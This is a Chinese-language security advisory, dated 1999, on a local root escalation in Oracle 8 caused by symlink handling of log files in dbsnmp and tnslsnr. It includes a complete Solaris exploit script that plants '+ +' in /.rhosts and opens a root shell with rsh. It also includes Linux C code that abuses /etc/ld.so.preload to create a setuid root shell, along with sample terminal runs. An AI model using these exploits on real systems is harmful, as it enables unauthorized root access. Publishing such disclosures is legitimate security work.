ORACLE存在严重本地安全漏洞发布时间:1999-11-17 更新时间:1999-11-17 严重程度:高 威胁程度:本地管理员权限 错误类型:竞争条件 利用方式:服务器模式 受影响系统 Misc详细描述 如果运行ORACLE的ORACLE_HOME没有设定的话,dbsnmp(默 认状态下是SUID ROOT/SGID DBA) 程序会在当前路径中产 生两个LOG文件,dbsnmpc和dbsnmpt;如果这两个文件不存 在的话,dbsnmpd会建立属性为666,大小为400字节左右的 文件。如果这两个文件存在的话,dbsnmp会追加400字节的 内容到这两个文件,但并不改变文件的属性。虽然ROOT没 有.rhosts文件,但我们可以通过软连接从/tmp/dbsnmpc 到/.rhosts从而获得ROOT权利。 其中要注意的是此利用代码是在ORACLE数据服务器默认状态 下工作,一个普通用户在/product/之上没有读访问的权利 (如/u01/app/oracle/product/8.1.5/bin/dbsnmp)。 这并不能阻止你运行此代码,因为此利用代码的执行位是定 位在所有ORACLE 目录,但你要猜测此dbsnmp的路径,而关 于路径可以通过检测ORACLE入口的进程列表获得。下面的代 码中也有能使用在LINUX上的,只不过是使用tnslsnr代替 dbsnmp. 测试代码 下面是在SOLARIS的利用此代码的演示: oracle8% uname -a; id SunOS oracle8 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10 uid=102(btellier) gid=10(staff) oracle8% /tmp/oracle.sh couldn't read file "/config/nmiconf.tcl": no such file or directory Failed to initialize nl component,error=462 Failed to initialize nl component,error=462 # 下面是LINUX利用此漏洞的演示: $ gcc -o oracle-ex.o -c oracle-ex.c -fPIC $ gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 oracle-ex.o -nostartfiles $ unset ORACLE_HOME $ umask 0000 $ ln -s /etc/ld.so.preload /tmp/listener.log $ /u01/app/oracle/product/8.0.5/bin/tnslsnr $ echo /tmp/libno_ex.so.1.0 >/etc/ld.so.preload $ telnet localhost Trying ... Connected to localhost.localdomain. Escape character is '^]'. Connection closed by foreign host. $ ./xxxx # 下面是SOLARIS的利用代码程序: --- oracle.sh --- #!/bin/sh # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others # You'll probably have to change your path to dbsnmp # Exploit will only work if /.rhosts does NOT exist # # Brock Tellier btellier@usa.net cd /tmp unset ORACLE_HOME umask 0000 ln -s /.rhosts /tmp/dbsnmpc.log /u01/app/oracle/product/8.1.5/bin/dbsnmp echo "+ +" > /.rhosts rsh -l root localhost 'sh -i' rsh -l root localhost rm /tmp/*log* rsh -l root localhost rm /.rhosts ------------------ 下面是LINUX平台上的代码程序: oracle-ex.c -------------------------- #include #include #include #include void _init() { if (!geteuid()) { remove("/etc/ld.so.preload"); execl("/bin/bash","bash","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } } --------------------------- 解决方案 升级 相关信息 |